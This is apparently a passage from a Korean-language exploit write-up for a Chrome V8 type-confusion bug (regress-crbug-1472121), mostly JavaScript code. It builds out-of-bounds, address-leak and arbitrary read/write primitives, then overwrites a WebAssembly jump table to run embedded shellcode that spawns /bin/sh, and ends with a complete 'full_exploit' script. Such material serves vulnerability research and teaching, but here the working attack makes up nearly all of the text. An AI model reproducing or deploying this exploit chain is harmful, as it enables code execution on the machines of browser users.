var buf = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 73, 1, 71, 0, 68, 184, 47, 115, 104, 0, 144, 235, 7, 68, 72, 193, 224, 32, 144, 144, 235, 7, 68, 187, 47, 98, 105, 110, 144, 235, 7, 68, 72, 1, 216, 80, 144, 144, 235, 7, 68, 72, 137, 231, 72, 49, 246, 235, 7, 68, 72, 49, 210, 72, 49, 192, 235, 7, 68, 176, 59, 15, 5, 144, 144, 144, 144, 26, 26, 26, 26, 26, 26, 11]); // ubuntu /bin/shell
var module = new WebAssembly.Module(buf);
var instance = new WebAssembly.Instance(module);
var instance_addr = addr_of(instance);
var f = instance.exports.main;

for (var i = 0; i < 0x10000; ++i) {
    f();
}

비어있는 새로운 wasm function을 만들어줍니다.

var buf_2 = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 23, 1, 21, 0, 68, 144, 144, 144, 144, 144, 144, 144, 204, 68, 144, 144, 144, 144, 144, 144, 144, 204, 26, 11])
var module_2 = new WebAssembly.Module(buf_2);
var instance_2 = new WebAssembly.Instance(module_2);
var instance_2_addr = addr_of(instance_2);

var f_2 = instance_2.exports.main;
f_2();

이 상태에서 buf에 들어있는 shellcode 시작점을 구해줍니다.

instance + 0x50 = jump_table_start

jump_table_start + 0x71d = shellcode_start

그리고 f_2() 함수의 jump_table_start를 shellcode_start로 덮어 씌워주면 실행이 가능합니다.

var buf = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 73, 1, 71, 0, 68, 184, 47, 115, 104, 0, 144, 235, 7, 68, 72, 193, 224, 32, 144, 144, 235, 7, 68, 187, 47, 98, 105, 110, 144, 235, 7, 68, 72, 1, 216, 80, 144, 144, 235, 7, 68, 72, 137, 231, 72, 49, 246, 235, 7, 68, 72, 49, 210, 72, 49, 192, 235, 7, 68, 176, 59, 15, 5, 144, 144, 144, 144, 26, 26, 26, 26, 26, 26, 11]); // ubuntu /bin/shell
var module = new WebAssembly.Module(buf);
var instance = new WebAssembly.Instance(module);
var instance_addr = addr_of(instance);
var f = instance.exports.main;

for (var i = 0; i < 0x10000; ++i) {
    f();
}

var buf_2 = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 23, 1, 21, 0, 68, 144, 144, 144, 144, 144, 144, 144, 204, 68, 144, 144, 144, 144, 144, 144, 144, 204, 26, 11])
var module_2 = new WebAssembly.Module(buf_2);
var instance_2 = new WebAssembly.Instance(module_2);
var instance_2_addr = addr_of(instance_2);
var jump_table_start = aar(instance_addr + 0x50);
var target = itoi64(jump_table_start[0],jump_table_start[1]) + 0x71dn;

var f_2 = instance_2.exports.main;
aaw64(instance_2_addr + 0x50, target);
f_2();

full_exploit

// @rotiple

function gc_minor() { //scavenge
    for(let i = 0; i < 1000; i++) {
        new ArrayBuffer(0x10000);
    }
}

function gc_major() { //mark-sweep
    new ArrayBuffer(0x7fe00000);
}

function hex(n) {
    return "0x" + n.toString(16);
}
function hex_addr(addr) {
    return "0x" + addr[1].toString(16) + addr[0].toString(16);
}

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var b64_buf = new BigInt64Array(buf);
var u32_buf = new Uint32Array(buf);

function ftoi(val) {
    f64_buf[0] = val;
    return [u32_buf[0], u32_buf[1]];
}

function itof(lo, hi) {
    u32_buf[0] = lo;
    u32_buf[1] = hi;
    return f64_buf[0];
}

function itof64(val) {
    b64_buf[0] = val;
    return f64_buf[0];
}

function itoi64(lo, hi) {
    u32_buf[0] = lo;
    u32_buf[1] = hi;
    return b64_buf[0];
}


function smi(val) { 
    return val << 1;
}

var large_arr = new Array(0x10000);
large_arr.fill(itof(0xDEADBEE0, 0));  // change array type to HOLEY_DOUBLE_ELEMENTS_MAP

const FIXED_ARRAY_HEADER_SIZE = 8;

//test/mjsunit/regress/regress-crbug-1472121.js
function trigger() { 

    let a = {p0: 1, p1: 1, p2: 1, p3: 1, p4: 1, p5: 1, p6: 1, p7: 1, p8: 1};
    a.p9 = 1;

    function throwaway() {
    return {...a, __proto__: null};
    }

    for (let j = 0; j < 100; ++j) throwaway(); // IC

    for (let key in a) a[key] = {};

    function func() {
        return {...a, __proto__: null};
    }

    for (let j = 0; j < 100; ++j) corrupted = func(); // IC

    corrupted.p9 = [1.1];
    corrupted[1] = 0x100; // overwrite the length of corrupted.p9

    let arr1 = [1.1, 2.2, 3.3, 4.4];
    let arr2 = [0x1337, large_arr];
    let arr3 = [arr1];

    return [corrupted.p9, arr1, arr2, arr3];
}

function addr_of(obj) {
    addr_obj[0] = obj;
    return ftoi(oob_obj[26])[1];
}

function aar(addr) {
    addr |= 1;
    addr -= FIXED_ARRAY_HEADER_SIZE;
    oob_obj[7] = itof(addr, smi(1));

    let result = ftoi(fake_obj[0]);
    return result;
}

function aaw(addr, lo, hi) {
    addr |= 1;
    addr -= FIXED_ARRAY_HEADER_SIZE;
    oob_obj[7] = itof(addr, smi(1));

    fake_obj[0] = itof(lo, hi);
}

function aaw64(addr, val) {
    addr |= 1;
    addr -= FIXED_ARRAY_HEADER_SIZE;
    oob_obj[7] = itof(addr, smi(1));

    fake_obj[0] = itof64(val);
}

leak = trigger();
oob_obj = leak[0];
fake_obj = leak[1];
addr_obj = leak[3];

var buf = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 73, 1, 71, 0, 68, 184, 47, 115, 104, 0, 144, 235, 7, 68, 72, 193, 224, 32, 144, 144, 235, 7, 68, 187, 47, 98, 105, 110, 144, 235, 7, 68, 72, 1, 216, 80, 144, 144, 235, 7, 68, 72, 137, 231, 72, 49, 246, 235, 7, 68, 72, 49, 210, 72, 49, 192, 235, 7, 68, 176, 59, 15, 5, 144, 144, 144, 144, 26, 26, 26, 26, 26, 26, 11]); // ubuntu /bin/shell
var module = new WebAssembly.Module(buf);
var instance = new WebAssembly.Instance(module);
var instance_addr = addr_of(instance);
var f = instance.exports.main;

for (var i = 0; i < 0x10000; ++i) {
    f();
}

var buf_2 = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 23, 1, 21, 0, 68, 144, 144, 144, 144, 144, 144, 144, 204, 68, 144, 144, 144, 144, 144, 144, 144, 204, 26, 11])
var module_2 = new WebAssembly.Module(buf_2);
var instance_2 = new WebAssembly.Instance(module_2);
var instance_2_addr = addr_of(instance_2);
var jump_table_start = aar(instance_addr + 0x50);
var target = itoi64(jump_table_start[0],jump_table_start[1]) + 0x71dn;

var f_2 = instance_2.exports.main;
aaw64(instance_2_addr + 0x50, target);

f_2();

Reference

https://docs.google.com/document/d/1oR-tSBKbgWzFl4v9RrXwYIdcvgf-Up5P4OFf8ftP7zg/edit

https://chromium-review.googlesource.com/c/v8/v8/+/4773154

https://medium.com/@numencyberlabs/use-wasm-to-bypass-latest-chrome-v8sbx-again-639c4c05b157